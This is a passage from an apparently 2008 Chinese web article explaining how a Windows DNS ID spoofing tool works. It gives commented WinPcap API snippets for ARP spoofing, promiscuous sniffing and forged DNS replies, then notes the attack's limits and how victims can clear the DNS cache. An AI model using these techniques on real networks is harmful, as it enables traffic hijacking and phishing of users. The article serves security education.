WEB开发网
开发学院服务器Dns服务器 Windows下DNS ID欺骗的原理与实现 阅读

Windows下DNS ID欺骗的原理与实现

 2008-04-09 16:31:33 来源:WEB开发网   
核心提示:三.核心代码分析主程序创建两个线程,一个线程进行实时的ARP欺骗,Windows下DNS ID欺骗的原理与实现(2),另一个线程监听接收到的数据报,若发现有域名服务查询数据报,如果你不幸被欺骗了,先禁用本地连接,则立即向客户端发送自定义的DSN响应数据报,测试环境:Windows2000 + VC6.0 + Winpc

三.核心代码分析

主程序创建两个线程,一个线程进行实时的ARP欺骗,另一个线程监听接收到的数据报,若发现有域名服务查询数据报,则立即向客户端发送自定义的DSN响应数据报。测试环境:Windows2000 + VC6.0 + Winpcap_3.0_alpha,注册表:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter = 0x1。

1.sniff线程:
  PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS);
  //将网卡设置为混杂模式
  PacketSetBuff(lpadapter,500*1024);
  //设置网络适配器的内核缓存;
  PacketSetReadTimeout(lpadapter,1);
  //设置等待时间;
  PacketReceivePacket(lpadapter,lppacketr,TRUE);
  //接收网络数据报;
  checksum((USHORT *)temp,sizeof(PSD)+sizeof(UDPHDR)+sizeof(DNS)+ulen+sizeof(QUERY)+sizeof(RESPONSE));
  //计算校验和;
  PacketInitPacket(lppackets,sendbuf,sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS)+ulen+4+sizeof(RESPONSE));
  //初始化一个_PACKET结构,发送DNS响应数据报;

2.arpspoof线程;
  PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
  //初始化ARP响应数据报;
  PacketSendPacket(lpadapter,lppackets,TRUE);
  //发送ARP欺骗的响应数据报;
  3.getmac()函数
  GetAdaptersInfo(padapterinfo,&adapterinfosize);
  //获取网络适配器的属性;
  SendARP(destip,0,pulmac,&ullen);
  //发送ARP请求数据报,过去网络主机的MAC地址;
  4.main()函数
  PacketGetAdapterNames((char *)adaptername,&adapterlength);
  //获得本地主机的网络适配器列表和描述;
  lpadapter=PacketOpenAdapter(adapterlist[open-1]); 
  //打开指定的网络适配器;
  CreateThread(NULL,0,sniff,NULL,0,&threadrid);
  CreateThread(NULL,0,arpspoof,NULL,0,&threadsid);
  //创建两个线程;
  WaitForMultipleObjects(2,thread,FALSE,INFINITE);
  //等待其中的某个线程结束;

四.小结与后记

局域网内的网络安全是一个值得大家关注的问题,往往容易发起各种欺骗攻击,这是局域网自身的属性所决定的--网络共享。本文所讲解的DNS ID欺骗是基于ARP欺骗之上的网络攻击,如果在广域网上,则比较麻烦。不过也有一些例外情况:如果IE中使用代理服务器,欺骗不能进行,因为这时客户端并不会在本地进行域名请求;如果你访问的不是网站主页,而是相关子目录的文件,这样你在自定义的网站上不会找到相关的文件,登陆以失败告终。如果你不幸被欺骗了,先禁用本地连接,然后启用本地连接就可以清除DNS缓存。

Tags:Windows DNS ID

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接